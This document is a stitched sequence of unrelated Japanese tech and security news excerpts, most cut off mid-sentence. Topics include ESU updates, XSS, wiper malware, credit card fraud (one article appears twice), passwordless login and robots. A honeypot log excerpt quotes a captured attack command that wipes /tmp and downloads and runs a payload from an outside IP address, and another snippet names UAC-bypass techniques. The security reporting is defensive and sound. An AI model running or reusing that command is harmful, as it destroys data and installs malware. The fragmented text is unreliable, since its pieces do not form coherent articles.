ESUはサポートが終了したマイクロソフト製品を継続利用したい場合に、延命措置として提供されるセキュリティ更新プログラムです。サポート中のMicrosoft製品に対しては定期的にWindows Update（以降、定期更新プログラム）が提供されています。定期更新プログラムは、Microsoft製品に見つかった脆弱性を修正するための更新プログラムで、製品に見つかったすべての脆弱性に対処できます。 対してESUは"緊急"または"重要"に分類される脆弱性に対してセキュリティ更新プログラムが提供されます。つまり、ESUはWindowsの定期更新プログラムと異なり、一部の脆弱性については対処されません。そのような状況でありつつも、サポートが終了した製品にESUを適用し継続利用されるケースはしばしば見受けられます。ESUを適用したサポート終了製品の継続利用は本当にセキュリティが十分といえるのでしょうか。

今や世界一のソーシャルメディアとなったTikTokに潜む危険性についてご存じだろうか。TikTok詐欺から身を守り、安全に利用するための方法について解説する。 TikTokは記録的にユーザー数を拡大させている。しかし残念ながら、ユーザーが増えるほどに詐欺師もまた増加し続けている。TikTokは、短い動画を閲覧してシェアできるソーシャルメディアとして、わずか6年の間に独占的な地位を築いた。今や、英国・米国ではYouTubeよりも長い時間をTikTokに費やしているとの報告があるほどだ。 サイバー犯罪者は常に流行に敏感で、その牙と爪を磨き続けている。利益を最大化するために、大衆に先んじて市場の変化を予測する場合さえある。これまで、証拠を残さず、ひっそりと詐欺を行えるプラットフォームはそれほど多くなかった。ダークウェブで違法なものが売買されていたが、犯罪者の大きな野望を実現させるほどではなく、そ

サイバー攻撃、不正アクセス 情報システム担当者向け 2022.11.15 クロスサイトスクリプティング（XSS）とは？Web改ざんを招かないための注意点と対策 クロスサイトスクリプティングとは、Webサイトの脆弱性を突く攻撃手法の1つであり、サイトを横断（クロス）させようとすることから名付けられた。比較的古くから存在する攻撃手法ながら、現在でも大きな脅威となっている。この記事では、クロスサイトスクリプティングの仕組みや有効な対策について解説する。 クロスサイトスクリプティングとは クロスサイトスクリプティングは対象とするWebサイトの脆弱性を突いて不正に侵入し、そのWebサイトにスクリプトを仕込み、情報を窃取する別のWebサイトへと誘導する攻撃のことである。Webサイトへ訪問したユーザーを悪質な別のWebサイトへ誘導（サイトをクロス）することから、クロスサイトスクリプティング（XSS）とい

脅威情報 2022.11.16 2022年初頭、複数の破壊的なワイパーがウクライナの企業を襲い、さまざまなセクターの組織を攻撃しました。ワイパーそのものは目新しくはありませんが、セキュリティ業界では「デジタル兵器」の使用やその影響力について、関心が一気に高まりました。悪名高いShamoonワイパーは、10年以上前から存在しています。10年前にもワイパーが、現在と同様に有効だったというのはどういうことでしょうか。何が変わったのか、あるいは何が変わっていないのでしょうか。 このブログでは、最近の20種類以上のワイパーファミリーについて、傾向や技術、他のワイパーと重複する点などを分析した内容をお伝えします。いくつかのワイパーで同じコードや技術が使い回されている場合は、同じ攻撃者に帰属する可能性が推測されますが、そのつながりだけで結論を急いでしまうことがよくあります。本稿は、よくある一般的なマルウ

株式会社MIXIは、 日本PCサービス株式会社と提携し、会話AIロボット「Romi」（ロミィ）の購入者向けに、インターネット光回線・デジタルサポートを定額で提供するサービス「Romi ひかり回線 powered by e-おうち」を、2022年11月14日(月)から日本PCサービスより提供することを発表した。 自宅にインターネット環境がなくデジタル機器に慣れていない高齢者の「Romi」導入をワンストップでサポートするほか、「Romi」以外のデジタル機器についてもサポートする。 「Romi」のお迎えをワンストップで 自宅のインターネット環境を構築 「Romi」の利用にはインターネット接続が必要となる。「Romi ひかり回線 powered by e-おうち」は、光回線を提供し、回線導入時の設定から「ネットに繋がらない！」等の日々の困りごとまで まるごとサポートするサービス。初めて自宅にインタ

Web3の信用システムとは 今回はオントロジーに、「Web3における信用システムの構築」をテーマに寄稿いただきました。 Web3に関する議論が活発化し、ユーザーの理解が深まるにつれて、Web3プロジェクトに対する要求もより明確に高いものになってきています。また、プロジェクト関係者やユーザーは「信用（Reputation）」や「社会性（Social）」といったまだまだ未解決のテーマや分野にも目を向けています。 特にイーサリアム考案者であるVitalik Buterin氏が「Soulboundトークン（SBT）」の概念に関する記事を発表した後、「Web3信用システムの構築」がWeb3市場のホットトピックの1つに加わりました。本記事では、信用の定義、信用システムの開発状況、既存システムの問題点、および解決策を議論します。 関連：イーサリアム創設者ブテリン氏提唱の「Soulboundトークン（SB

攻撃者がクレジットカード情報を詐取しようとする一般的な方法と、それらから身を守る方法について解説する。 この記事は、ESET社が運営するマルウェアやセキュリティに関する情報サイト「Welivesecurity」の記事を翻訳したものである。 サイバー犯罪の闇市場は、年間数兆ドル（数百兆円）を継続して生み出している。警察や消費者の目をかいくぐり、ダークウェブでは大量の個人情報や、それを盗むためのハッキングツールが売買されてきた。これらのWebサイトでは、不正に取得された240億件ものユーザー名とパスワードが出回っていると考えられている。中でも人気が高いのは新規のクレジットカード情報で、なりすまし詐欺を働こうとする詐欺師らによって大量に購入されている。 PINコードとICチップ（EMVとも呼ばれる）を導入した国では、クレジットカード情報からカードを複製することは難しい。そのため、オンラインでのC

攻撃者がクレジットカード情報を詐取しようとする一般的な方法と、それらから身を守る方法について解説する。 サイバー犯罪の闇市場は、年間数兆ドル（数百兆円）を継続して生み出している。警察や消費者の目をかいくぐり、ダークウェブでは大量の個人情報や、それを盗むためのハッキングツールが売買されてきた。これらのWebサイトでは、不正に取得された240億件ものユーザー名とパスワードが出回っていると考えられている。中でも人気が高いのは新規のクレジットカード情報で、なりすまし詐欺を働こうとする詐欺師らによって大量に購入されている。 PINコードとICチップ（EMVとも呼ばれる）を導入した国では、クレジットカード情報からカードを複製することは難しい。そのため、オンラインでのCNP（Card Not Present：非対面取引）が攻撃対象になる。詐欺師はオンラインで高級品を購入したり、場合によっては商品券を大量

はじめにこんにちは。TIG の吉岡です。秋のブログ週間 10 本目の投稿です。 2022年の 5 月に Apple, Google, Microsoft そして FIDO Alliance が マルチデバイス対応FIDO認証資格情報 を発表してから、パスワードレス技術に対する注目が高まっています。1 パスワードレスの概要について調査してまとめてみました。 目次 私たちとパスワード パスワードの抱える問題 パスワードマネージャ 公開鍵暗号の活用 パスワードレスと FIDO Alliance FIDO v1.0 FIDO2 FIDO の認証フロー Passkeys パスワードレスな未来 私たちとパスワード今日、私たちのデジタルアイデンティティはパスワードに支えられています。私たちは日々 Google で検索し、Netflix を観て、Twitter でつぶやき、Amazon で買い物をしますが

将来的な自動走行ロボットの運用に向けた実証実験が11月26日に行われます。今回の実験でのルートの選定方法やクリアしたい課題などについてお話を伺いました。 未来の物流を担う存在として期待されているのが自動走行ロボットだ。その自動走行ロボットが実際に社会で活躍するには、ロボットのハードウェアやソフトウェア、そして社会的な制度など多岐にわたる開発・整備が必要となる。 現在、国土交通省では、それらの課題解決に向けて自動走行ロボットの実証実験の準備を進めている。実際に人が生活しているUR団地と駅との間を走行し、ロボット運用上の問題点をクリアにしていくものだ。 東京都北区のJR赤羽駅前からヌーヴェル赤羽台団地までの区間を舞台とした今回の実験のルートやロボットの詳細については、6月に行われたプレ実験の記事でご紹介した通り。

MONOistやEE Times Japanに掲載した主要な記事を、読みやすいPDF形式の電子ブックレットに再編集した「エンジニア電子ブックレット」。今回は2022年7～9月に公開した人工知能関係のニュースをまとめた「人工知能ニュースまとめ（2022年7～9月）」をお送りする。

当サイトは Google Adsense、Amazon アソシエイト等 アフィリエイト広告を利用して収益を得ています. 今年のはじめ、Google ドキュメントから簡単にタスクを割り当てられるようになりましたが、これまではWeb版を利用している場合に限られていました。 しかしGoogleは、Web版だけでなくiOSとAndroidのモバイルアプリ版 Googleドキュメントでもタスクの割当を簡単にできるようになったことを公式ブログで発表しています。 機能自体はWeb版と全く同じで、タスクをユーザーに割り当てることでそのユーザーのGoogleタスク(Todo リスト)に表示することができます。タイトル、期日、チェックボックスなどを設定し、タスクで割り当てられたアイテムに編集が加えられると、それらの変更はドキュメントでも変更され、その逆も反映されます。 これでスマートフォンやタブレットでアプリ

ライブ配信の主催者は、ライブ配信中にチャットウィンドウの下部で（＋）をクリックし、「Q&Aを開始」を選択することでセッションが始まる。質問はチャットウィンドウの上部に固定され、主催者は回答しやすくなる。 関連記事 YouTube、チャンネルページでショートとライブを別タブ表示に YouTubeがチャンネルページのタブに「ショート」と「ライブ」を追加した。これまで「動画」タブに混在していたショートとライブ配信が別タブにまとまる。 すべてのYouTubeチャンネルに一意の“ハンドル名”　アピールしやすく YouTubeは、すべてのチャンネルに「handle」（ハンドル名）を付与すると発表した。YouTubeショートやコメントでも使える。チャンネル名と異なり一意のため、「明確なプレゼンスを確立しやすくなる」としている。 YouTube投稿率、最多は「10代男性」　ドコモ調査 YouTubeへの動

Appleは米国時間11月9日、「iPhone」と「iPad」に影響を与える可能性のあるセキュリティの脆弱性2件からユーザーを保護するソフトウェアアップデート「iOS 16.1.1」および「iPadOS 16.1.1」をリリースした。 約2週間前の10月24日には、同様にすべてのiPhoneおよびiPadユーザーを対象に「iOS 16.1」「iPadOS 16」をリリースしていた。 修正の対象となった脆弱性「CVE-2022-40303」および「CVE-2022-40304」はいずれも、リモートユーザーによってアプリが突然終了されたり、任意のコードが実行されたりする可能性があり、攻撃者がデバイス上でコマンドを実行できるようになる恐れがあるものだ。 これらの脆弱性は、共通脆弱性識別子（CVE）評価で影響度が「中」に分類されている。これは、悪用は比較的困難だが、それでもセキュリティの侵害につな

全国にコインランドリーを展開する株式会社wash-plusは、2022年10月より、洗剤を使わないコインランドリー「wash＋」中葛西店と明海店で、シャープ製の会話ロボット「RoBoHoN（ロボホン）」とタブレットを活用した接客サービスをスタートしたことを発表した。 同社は2022年4月に、ロボホン2体とタブレットが連携してコインランドリーで接客するサービスを猫実（ねこざね）店で開始することを発表している。 ロボホンによるコインランドリー接客サービス ロボホンとタブレットをランドリーの横に設置し、ボタンを選択すると、ロボホンが音声でサービスの特徴を説明する。「洗剤不要で「wash+ Water」という特別な水のイオンの力で洗っており、アトピー性皮膚炎や化学物質過敏症など、肌が弱い人にも安心」など「wash+」の仕組みや、よくある質問を紹介する。また、ロボホンの動画や、決まった時間にダンスパ

顔認証や遠隔操作も、新NC搭載のファイバーレーザーマシンなど3機種を国内初披露：JIMTOF2022 アマダは「第31回日本国際工作機械見本市（JIMTOF2022）」（2022年11月8～13日、東京ビッグサイト）において、新NC装置「AMNC 4ie」を搭載したファイバーレーザーマシン「VENTIS-3015 AJ e」などを国内初披露した。 アマダは「第31回日本国際工作機械見本市（JIMTOF2022）」（2022年11月8～13日、東京ビッグサイト）において、新NC装置「AMNC 4ie」を搭載したファイバーレーザーマシン「VENTIS-3015 AJ e」などを国内初披露した。 新NCのコンセプトは4つの“E” AMNC 4ieはEasy（誰でも使える）、Efficiency（どこでも使える）、Environment（環境に優しい）、Evolution（ユーザーとともに発展する

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 米国家安全保障局（NSA）は米国時間11月10日、ソフトウェアのメモリー安全性強化に向けたガイダンスを公開した。同機関はその中で開発者らに対して、ハッカーらによるリモートコード実行（RCE）をはじめとするさまざまな攻撃からコードを保護するために、C＃やGo、Java、Ruby、Swift、Rustといったメモリー安全性の高い言語に移行するよう推奨している。 これらの言語の中では、Javaが企業向けアプリや「Android」アプリの開発で最も幅広く使用されている一方、Swiftは「iOS」アプリの開発環境に取り込まれている点もあって人気プログラミング言語の上位に入っている。また、RustはシステムプログラミングにおいてCやC＋＋の代替とし

UAC Bypass The threat actors were observed bypassing UAC via WSReset and DelegateExecute, spawning new processes at a High integrity level. While executing this UAC bypass, the threat actors seemed to be running into some kind of trouble during execution, which required them to try the technique several times and tried to kill one of their processes from a prior attempt. In addition to the WSReset

Microsoft、Windows 10のOOBEアップデートKB5020683を公開 2022 11/14 Microsoftは11月11日、Windows 10のOut-of-the-Box Experience(OOBE)アップデートKB5020683を公開しました。 アップデートは、Windows 10 Version 21H1/21H2/22H2のOut-of-the-Box Experience(OOBE)を改善するもので、対象デバイスに対し、OOBEプロセスの一部として、Windows 11へのアップグレードオプションを提供します。 This update improves the Windows 10, version 21H1, 21H2, and 22H2 out-of-box experience (OOBE) by providing eligible device

「家の鍵をどこかに置き忘れがち」「家族全員分の合鍵を用意するのが面倒」といった理由で玄関に指紋認証ロックの導入を考えている人は多いはず。しかし、既存の鍵を指紋認証に置き換えるには取付工事や配線工事が必要になることもあります。「SwitchBotキーパッドタッチ」なら、既存の鍵の上に取り付けられるスマートロック「SwitchBotロック」と組み合わせて指紋認証・パスコード認証・カード認証システムを簡単に構築できるとのこと。そこで、SwitchBotロックの取付手順や、SwitchBotキーパッドタッチの設定手順を詳しく確認してみました。 Amazon.co.jp: SwitchBot: スマートロック https://www.amazon.co.jp/stores/page/BD8D9079-A85D-408B-AE7C-35A3198FBA0F SwitchBotキーパッドタッチは、指紋・

2022年9月観測レポートサマリ DDoS攻撃の観測情報 IIJマネージドセキュリティサービスの観測情報 Web/メールのマルウェア脅威の観測情報 セキュリティインシデントカレンダー ソフトウェアリリース情報 2022年9月観測レポートサマリ 本レポートでは、2022年9月中に発生した観測情報と事案についてまとめています。 当月はDDoS攻撃の総攻撃検出件数は前月と比較し減少しましたが、前々月に近い水準となりました。最大規模を観測した攻撃は主にDNSプロトコルを用いたUDP Amplificationで、転送量は本観測レポートで過去最大となりました。また、最長時間を観測した攻撃はSYN Floodでした。 IPS/IDSにおいて検出したインターネットからの攻撃について、当月もSQLインジェクションが最も多く観測されています。次点ではApache HTTP Serverの脆弱性（CVE-20

日本政府は2022年11月11日、新型コロナ接触確認アプリ「COCOA」の機能を停止すると発表しました。一方で、アプリを削除せずにアップデートを待つよう周知しています。アプリを削除するだけでは、機能が完全に停止せずに通常よりバッテリー消費が多くなる可能性があります。 COCOAが機能停止 デジタル庁および厚生労働省は11月11日、COCOAの機能を停止すると発表しました。11月17日に機能停止のためにバージョン「3.0.0」を配布すると周知しています。 デジタル庁・厚生労働省 #COCOA 班です。11月17日より、COCOAの機能停止版アプリ「3.0.0」版の配布を開始します。COCOAを利用中の方は、配信が開始されましたら、アプリをアップデート頂き、画面の案内に従い、機能停止の手続きをお願いいたします。 #接触確認アプリhttps://t.co/MLusM9ozjW — 厚生労働省 (

2022年11月、GitHubのコードで学習したコード補完AIサービス「GitHub Copilot」の開発に携わったGitHub・Microsoft・OpenAIの3社を相手に集団訴訟が提起されました。この訴訟におけるポイントや原告側の勝算について、ソフトウェアテクノロジー業界の知的財産権を専門にするケイト・ダウニング弁護士が解説しています。 AN Open Source Lawyer’s View on the Copilot Class Action Lawsuit – Law Offices of Kate Downing https://katedowninglaw.com/2022/11/10/open-source-lawyers-view-on-the-copilot-class-action-lawsuit/ GitHub Copilotは、ソフトウェア開発プラットフォー

祭りのような人が密集するイベントでは、盗難に気をつけなければなりません。米カリフォルニア州で行われた音楽フェスティバルでも、大量のスマートフォンが盗まれました。しかし、iPhoneを盗まれた被害者が「探す」機能を使ったおかげで、結果的に犯人のアジトが発見され、100台近くのスマートフォンが取り戻されたのだから驚きです。 ゴミ袋から92台のiPhone発見 ロサンゼルス東部に位置するダウニーの警察署に、平日から数十人が一挙に詰めかけました。彼らは皆、前週末にサンバナディーノで行われたイベントEscape Music Festivalでスマートフォンを盗まれた被害者たちで、自分たちの端末を回収しにきたのです。 なぜ奪われたスマートフォンがすぐに戻ってきたのか――理由は被害者の1人、アーミル・アンダーソンさんが友人に「探す」機能を使わせ、自身のiPhoneの現在位置を把握したからでした。 位置を

社内アプリケーションのマニュアルなどを作成するため、Windows OSでスクリーンショットを撮りたい（画面をキャプチャーしたい）ことがあるのではないだろうか。そのような場合、［PrintScrn］キーや［Alt］＋［PrintScrn］キーで全画面やアクティブウィンドウのスクリーンショットが撮れるのは、ご存じだろう。 だが、画面あるいはウィンドウの一部分のみが必要な場合、スクリーンショットで撮った画像をペイントツールで開き、必要な範囲だけ切り出して画像ファイルに保存し直す、といった操作が必要になり、手間がかかる。 そこで本Tech TIPSでは、現在のWindows 10／11で、（「画面領域切り取り」とも呼ばれる）特定の領域を範囲指定してスクリーンショットを撮る方法を紹介する。 長方形で範囲指定してスクリーンショットを撮るには？ Windows 10やWindows 11には、「範囲指

ハニーポット(仮) 観測記録 2022/11/08分です。 特徴 共通 CensysInspectによるスキャン行為 zgrabによるスキャン行為 /.envへのスキャン行為 /.gitへのスキャン行為 Location:JP F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス GPONルータの脆弱性を狙うアクセス Spring Bootの脆弱性を狙うアクセス UserAgentがHello, Worldであるアクセス UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 185.216.71.192/jaws; sh /tmp/jaws Location:US PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス ThinkPH

GitHubで最も人気の言語はJavaScriptで変わらず、急成長した言語はHashiCorpのHCL。GitHubが年次調査「Octoverse 2022」発表 GitHubは、この1年のGitHubの利用動向などをまとめた年次レポート「Octoverse 2022」を発表しました。 The @GitHub Octoverse 2022 is here and comes packed with information. What are the top programming languages? What countries have the most new developers? What are the Top Open Source projects? Be sure to check it out: https://t.co/s9YyztEcqu pic.twitter.